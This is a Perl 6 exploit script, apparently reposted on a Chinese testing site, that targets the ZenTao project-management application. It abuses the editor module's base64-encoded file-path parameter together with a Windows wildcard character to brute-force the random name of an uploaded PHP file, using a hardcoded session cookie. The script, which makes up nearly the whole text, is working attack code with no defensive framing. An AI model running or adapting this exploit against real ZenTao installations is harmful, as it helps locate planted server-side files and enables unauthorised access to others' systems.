use Net::HTTP::GET; use Base64; my %header = :Cookie<lang=zh-cn; theme=default; lastProduct=2; windowWidth=1855; windowHeight=532; sid=jg9g2mk5kmru46lmd3g2evoc87>; #my $response = Net::HTTP::GET("http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=YzpccGhwc3R1ZHlcV1dXXHplbnRhb3Btc1x3d3dcZGF0YVx1cGxvYWRcMVwyMDE4MDFcMDwucG5n&action=override&isExtends=", :%header); #say so $response.content :force ~~ /201801/; my $url = 'http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath='; my $end_url = '&action=override&isExtends='; my @check_chars = |('a'..'z'),|('0'..'9'); #保存文 件名 16位 my @filename; for 1..16 -> $length { say "------->$length"; for @check_chars -> $swap_char { my $target; my $char = @filename.join('')~$swap_char; say $char; #sleep(2); if $char.chars == 16 { $target = $url~encode-base64('c:\phpstudy\WWW\zentaopms\www\data\upload\1\201801\\'~$char~'.php',:str)~$end_url; } else { $target = $url~encode-base64('c:\phpstudy\WWW\zentaopms\www\data\upload\1\201801\\'~$char~'<.php',:str)~$end_url; #> #>>>>>>>>> # a+('>' x 15).php => a>>>>>>>>>>>>>>>.cellspacing #a*.png => } #sleep(1); say $target; #sleep(2); my $html = Net::HTTP::GET($target, :%header); if so $html.content :force ~~ /201801/ { @filename.append($swap_char); last; } } } say "Found -----> "~@filename.join(''); |
上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。